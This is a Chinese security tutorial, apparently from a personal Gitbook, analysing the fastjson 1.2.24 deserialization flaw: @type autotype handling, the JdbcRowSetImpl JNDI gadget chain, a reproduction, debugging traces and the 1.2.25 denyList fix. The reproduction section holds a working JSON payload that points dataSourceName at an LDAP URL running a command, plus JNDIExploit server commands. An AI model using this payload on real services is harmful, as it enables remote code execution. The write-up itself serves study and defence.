前言

前面讲了JNDI注入相关的知识,不实际操作操作怎么能行呢!

这里就主要分析一下fastjson 1.2.24版本的反序列化漏洞,这个漏洞比较普遍的利用手法就是通过JNDI注入的方式实现RCE,所以是一个不得不分析的JNDI注入实践案例!

这里不同与我们之前分析的反序列化,fastjson是一个非常流行的库,它可以将数据在JSONJava Object之间互相转换,我们常说的fastjson序列化就是将java对象转化为json字符串,而反序列化就是将json字符串转化为java对象

DEMO

环境搭建

  • pom.xml
    <!-- https://mvnrepository.com/artifact/com.alibaba/fastjson -->
    <dependency>
      <groupId>com.alibaba</groupId>
      <artifactId>fastjson</artifactId>
      <version>1.2.24</version>
    </dependency>

序列化

package org.example;

import com.alibaba.fastjson.JSON;

public class App {
    public static void main( String[] args ){
        User user = new User();
        user.setAge(66);
        user.setUsername("test");

        String json = JSON.toJSONString(user);
        System.out.println(json);
    }
}

class User{
    private String username;
    private int age;

    public void setUsername(String username) {
        this.username = username;
    }

    public String getUsername() {
        return username;
    }

    public void setAge(int age) {
        this.age = age;
    }

    public int getAge() {
        return age;
    }
}

运行后,得到对应的JSON格式字符串

image-20210918114938458

反序列化‼️

fastjson反序列化到对应类的过程中会自动调用目标对象的setXXX方法,例如{"age":66,"username":"test"}被反序列化为User类时会自动调用User类的setAge以及setUsername方法,实践出真知

修改一下User类,在setXXX方法里面添加输出

class User{
    private String username;
    private int age;

    public void setUsername(String username) {
        this.username = username;
        System.out.println("call setUsername");
    }

    public String getUsername() {
        return username;
    }

    public void setAge(int age) {
        this.age = age;
        System.out.println("call setAge");
    }

    public int getAge() {
        return age;
    }
}

修改App启动类,反序列化生成User对象

package org.example;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;

public class App {
    public static void main( String[] args ){
        String json = "{\"age\":66,\"username\":\"test\"}";
        User user = JSON.parseObject(json, User.class);    // 后面的User.class表示反序列化为User类
    }
}

执行后,可以看到在反序列化的过程中确实调用了setXXX的方法

image-20210918120111045

这里我们反序列化使用的是parseObject()方法,其实也可以用到parse()方法,parseObject() 本质上也是调用 parse() 进行反序列化的。但是 parseObject() 会额外的将Java对象转为 JSONObject对象,即 JSON.toJSON()

他们的最主要的区别就是前者返回的是JSONObject,而后者会识别并调用目标类的 setter 方法及某些特定条件的 getter 方法,返回的是实际类型的对象;当在没有对应类的定义的情况下(没有在@type声明类),通常情况下都会使用JSON.parseObject来获取数据。

image-20210918121239396

由于JSON.parseObject()要反序列化到对应的对象(比如demo中的User类对象,需要将第二个参数设置为User.class才会触发类的setXXX方法,而直接使用该方法返回的是JSONObject对象,是不会触发setXXX方法的(因为JVM也不知道是哪个类的对象)

那要怎么处理才能让JSON.parseObject()在调用时,不输入第二个参数也能执行setXXX方法呢,答案就是上面利用parse()方法使到的用@type属性。

fastjson接受的JSON可以通过@type字段来指定该JSON应当还原成何种类型的对象,在反序列化的时候方便操作。

举个例子:

package org.example;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;

public class App {
    public static void main(String[] args) {
        String json1 = "{\"age\":66,\"username\":\"test\"}";
        String json2 = "{\"@type\":\"org.example.User\", \"age\":66,\"username\":\"test\"}";

        System.out.println("反序列化JSON1");
        JSON.parseObject(json1);
        System.out.println("反序列化JSON1");
        JSON.parseObject(json2);
    }
}

class User {
    private String username;
    private int age;

    public void setUsername(String username) {
        this.username = username;
        System.out.println("call setUsername");
    }

    public String getUsername() {
        return username;
    }

    public void setAge(int age) {
        this.age = age;
        System.out.println("call setAge");
    }

    public int getAge() {
        return age;
    }
}

执行后,没有@type返回JSONObject,有@type则返回对应的类对象且成功调用了setXXX方法

image-20210918122258147

可见@type参数的作用就是指定json字符串要反序列化为哪个类的对象,而就是这个属性,让我们能够对其进行漏洞利用。

利用链

分析

由于在反序列化的过程中会自动调用@type类中相关的setXXX方法,如果我们能找到一个类,且这个类的setXXX方法可以通过我们对参数的构造达到命令执行的效果,那攻击的目的不就达到了吗?

如果需要还原出private属性的话,还需要在JSON.parseObject/JSON.parse中加上Feature.SupportNonPublicField参数。

不过一般没人会给私有属性加setter方法,加了就没必要声明为private了

经过大佬们的分析,就发现了com.sun.rowset.JdbcRowSetImpl这个类可以被利用

这个类中有很多的setXXX方法,但我们需要利用的,则是setDataSourceName()setAutoCommit()这两个方法

  • JdbcRowSetImpl.setDataSourceName
    public void setDataSourceName(String var1) throws SQLException {
        if (this.getDataSourceName() != null) {
            if (!this.getDataSourceName().equals(var1)) {
                super.setDataSourceName(var1);
                this.conn = null;
                this.ps = null;
                this.rs = null;
            }
        } else {
            super.setDataSourceName(var1);
        }

    }

这里调用了父类的setDataSourceName方法,跟一下

  • BaseRowSet.setDataSourceName
    public void setDataSourceName(String name) throws SQLException {

        if (name == null) {
            dataSource = null;
        } else if (name.equals("")) {
           throw new SQLException("DataSource name cannot be empty string");
        } else {
           dataSource = name;
        }

        URL = null;
    }

可以看到就是设置了dataSource

  • JdbcRowSetImpl.setAutoCommit
    public void setAutoCommit(boolean var1) throws SQLException {
        if (this.conn != null) {
            this.conn.setAutoCommit(var1);
        } else {
            this.conn = this.connect();
            this.conn.setAutoCommit(var1);
        }

    }

进行了connect()操作,跟进connect()

  • JdbcRowSetImpl.connect
    private Connection connect() throws SQLException {
        if (this.conn != null) {
            return this.conn;
        } else if (this.getDataSourceName() != null) {
            try {
                InitialContext var1 = new InitialContext();
                DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());
                return this.getUsername() != null && !this.getUsername().equals("") ? var2.getConnection(this.getUsername(), this.getPassword()) : var2.getConnection();
            } catch (NamingException var3) {
                throw new SQLException(this.resBundle.handleGetObject("jdbcrowsetimpl.connect").toString());
            }
        } else {
            return this.getUrl() != null ? DriverManager.getConnection(this.getUrl(), this.getUsername(), this.getPassword()) : null;
        }
    }

可以看到这里有JNDI注入中的lookup的调用,而调用的参数就是刚才设置的dataSource,这个是我们可以控制的,如果让他加载恶意的Reference类,那么我们的目的就达成了。

利用

根据之前的学习和分析,利用类com.sun.rowset.JdbcRowSetImpl,利用的set方法setDataSourceNamesetAutoCommit,构造payload

{
    "@type": "com.sun.rowset.JdbcRowSetImpl",
    "dataSourceName": "恶意的Reference类",
    "autoCommit": true/false
}

复现

直接用JNDIExploit同时启动ldaphttp服务,好处就是不需要自己手动编译class什么的了

当然也可以使用marshalsec快速开启rmi或者ldap服务,再手动开启http服务

# 查看用法
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 127.0.0.1 -l 9999 -p 8888 -u
# 启动服务
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 127.0.0.1 -l 9999 -p 8888

image-20210918140313876

反序列化json

package org.example;

import com.alibaba.fastjson.JSON;

public class App {
    public static void main(String[] args) {
        // 高版本的JDK,需要设置一下,低版本的可以忽略,参考JNDI注入文章
        System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
        String json = "{\"@type\": \"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\": \"ldap://127.0.0.1:9999/Basic/Command/open -na Calculator\",\"autoCommit\": false}";
        JSON.parseObject(json);
    }
}

image-20210918140023685

总结

整个过程其实也很简单,就是fastjson在反序列化的时候,会调用对应类设置了参数的setXXX方法,只需要找到一些对应的链,同时jdk满足要求就可以命令执行。

DEBUG分析

  • 代码举例
package org.example;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;


public class App {
    public static void main(String[] args) {
        String json = "{\"@type\":\"org.example.User\",\"age\":66,\"username\":\"test\"}";
        JSONObject jsonObject = JSON.parseObject(json);
    }
}

class User {
    private String username;
    private int age;

    public void setUsername(String username) {
        this.username = username;
        System.out.println("call setUsername");
    }

    public String getUsername() {
        return username;
    }

    public void setAge(int age) {
        this.age = age;
        System.out.println("call setAge");
    }

    public int getAge() {
        return age;
    }
}

因为我们现在知道反序列化的时候会调用setXXX的方法,所以现在setXXX方法处下个断点,看看堆栈情况

setAge:28, User (org.example)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
setValue:96, FieldDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:593, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:188, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:184, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
parseObject:368, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1327, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1293, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:137, JSON (com.alibaba.fastjson)
parse:128, JSON (com.alibaba.fastjson)
parseObject:201, JSON (com.alibaba.fastjson)
main:10, App (org.example)

image-20210925170429925

然后从下向上定位分析就行了,调用了哪个包重哪些类的哪些方法,一应俱全,避免一直F7、F8浪费时间,可以把精力放到参数的传递追踪上。

修复方案

1.2.25官方对漏洞进行了修复,对更新的源码进行比较,主要的更新在checkAutoType函数

public Class<?> checkAutoType(String typeName, Class<?> expectClass) {
        if (typeName == null) {
            return null;
        } else {
            String className = typeName.replace('$', '.');
            if (this.autoTypeSupport || expectClass != null) {
                int i;
                String deny;
                for(i = 0; i < this.acceptList.length; ++i) {
                    deny = this.acceptList[i];
                    if (className.startsWith(deny)) {
                        return TypeUtils.loadClass(typeName, this.defaultClassLoader);
                    }
                }

                for(i = 0; i < this.denyList.length; ++i) {
                    deny = this.denyList[i];
                    if (className.startsWith(deny)) {
                        throw new JSONException("autoType is not support. " + typeName);
                    }
                }
            }

            Class<?> clazz = TypeUtils.getClassFromMapping(typeName);
            if (clazz == null) {
                clazz = this.deserializers.findClass(typeName);
            }

            if (clazz != null) {
                if (expectClass != null && !expectClass.isAssignableFrom(clazz)) {
                    throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
                } else {
                    return clazz;
                }
            } else {
                if (!this.autoTypeSupport) {
                    String accept;
                    int i;
                    for(i = 0; i < this.denyList.length; ++i) {
                        accept = this.denyList[i];
                        if (className.startsWith(accept)) {
                            throw new JSONException("autoType is not support. " + typeName);
                        }
                    }

                    for(i = 0; i < this.acceptList.length; ++i) {
                        accept = this.acceptList[i];
                        if (className.startsWith(accept)) {
                            clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader);
                            if (expectClass != null && expectClass.isAssignableFrom(clazz)) {
                                throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
                            }

                            return clazz;
                        }
                    }
                }

                if (this.autoTypeSupport || expectClass != null) {
                    clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader);
                }

                if (clazz != null) {
                    if (ClassLoader.class.isAssignableFrom(clazz) || DataSource.class.isAssignableFrom(clazz)) {
                        throw new JSONException("autoType is not support. " + typeName);
                    }

                    if (expectClass != null) {
                        if (expectClass.isAssignableFrom(clazz)) {
                            return clazz;
                        }

                        throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
                    }
                }

                if (!this.autoTypeSupport) {
                    throw new JSONException("autoType is not support. " + typeName);
                } else {
                    return clazz;
                }
            }
        }
    }

这里遍历denyList数组,只要引用的库中是以我们的黑名单中的字符串开头的就直接抛出异常中断运行。

denyList数组,主要利用黑名单机制把常用的反序列化利用库都添加到黑名单中,主要有:

bsh
com.mchange
com.sun.
java.lang.Thread
java.net.Socket
java.rmi
javax.xml
org.apache.bcel
org.apache.commons.beanutils
org.apache.commons.collections.Transformer
org.apache.commons.collections.functors
org.apache.commons.collections4.comparators
org.apache.commons.fileupload
org.apache.myfaces.context.servlet
org.apache.tomcat
org.apache.wicket.util
org.codehaus.groovy.runtime
org.hibernate
org.jboss
org.mozilla.javascript
org.python.core
org.springframework

一些细节

parseObject(String text)在反序列化时也会调用getter方法,所以也是一个可利用的点,只不过比较鸡肋,符合条件的利用链很少

举例演示

package org.example;

import com.alibaba.fastjson.JSON;


public class App {
    public static void main(String[] args) {
        String json = "{\"@type\":\"org.example.User\",\"age\":66,\"username\":\"test\"}";
        System.out.println("parseObject(String)");
        JSON.parseObject(json);

        System.out.println("parse(String)");
        JSON.parse(json);
    }
}

class User {
    private String username;
    private int age;

    public void setUsername(String username) {
        this.username = username;
        System.out.println("call setUsername");
    }

    public String getUsername() {
        System.out.println("call getUsername");
        return username;
    }

    public void setAge(int age) {
        this.age = age;
        System.out.println("call setAge");
    }

    public int getAge() {
        System.out.println("call getAge");
        return age;
    }
}

image-20210927110649337

分析

为什么会调用getter()方法呢?在getter()方法的地方下断点,查看调用栈

image-20210927111313273

getAge:37, User (org.example)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
get:451, FieldInfo (com.alibaba.fastjson.util)
getPropertyValue:114, FieldSerializer (com.alibaba.fastjson.serializer)
getFieldValuesMap:439, JavaBeanSerializer (com.alibaba.fastjson.serializer)
toJSON:902, JSON (com.alibaba.fastjson)
toJSON:824, JSON (com.alibaba.fastjson)
parseObject:206, JSON (com.alibaba.fastjson)
main:10, App (org.example)

分析调用栈,首先进入parseObject方法,然后正常调用parse方法(PS:此时setter方法已经被调用了,可以查看Console栏当前输出的情况)

image-20210927111400714

所以调用getter方法的原因,不是出在parse函数里面,而是调用了(JSONObject)toJSON(obj)方法

继续跟toJSON方法,发现会到javaBeanSerializer.getFieldValuesMap(javaObject)

image-20210927112551712

查看当前的变量,javaBeanSerializer中的getters存放了相关的getter方法后缀,javaObject中存放了相关变量的值

跟进getFieldValuesMap,发现通过Map.put存入数据,值通过getter.getPropertyValue(object)进行获取,object存放的是setter设置的变量名和值

image-20210927114607224

跟进getPropertyValue,会调用this.fieldInfo.get方法

image-20210927115127938

跟进get,发现反射调用User类的getAge()方法

image-20210927115417279

所以getter方法被执行了

TemplatesImpl攻击调用链路

https://paper.seebug.org/1274/#templatesimpl

参考链接

Copyright © d4m1ts 2023 all right reserved,powered by Gitbook该文章修订时间: 2021-12-25 18:52:00

results matching ""

    No results matching ""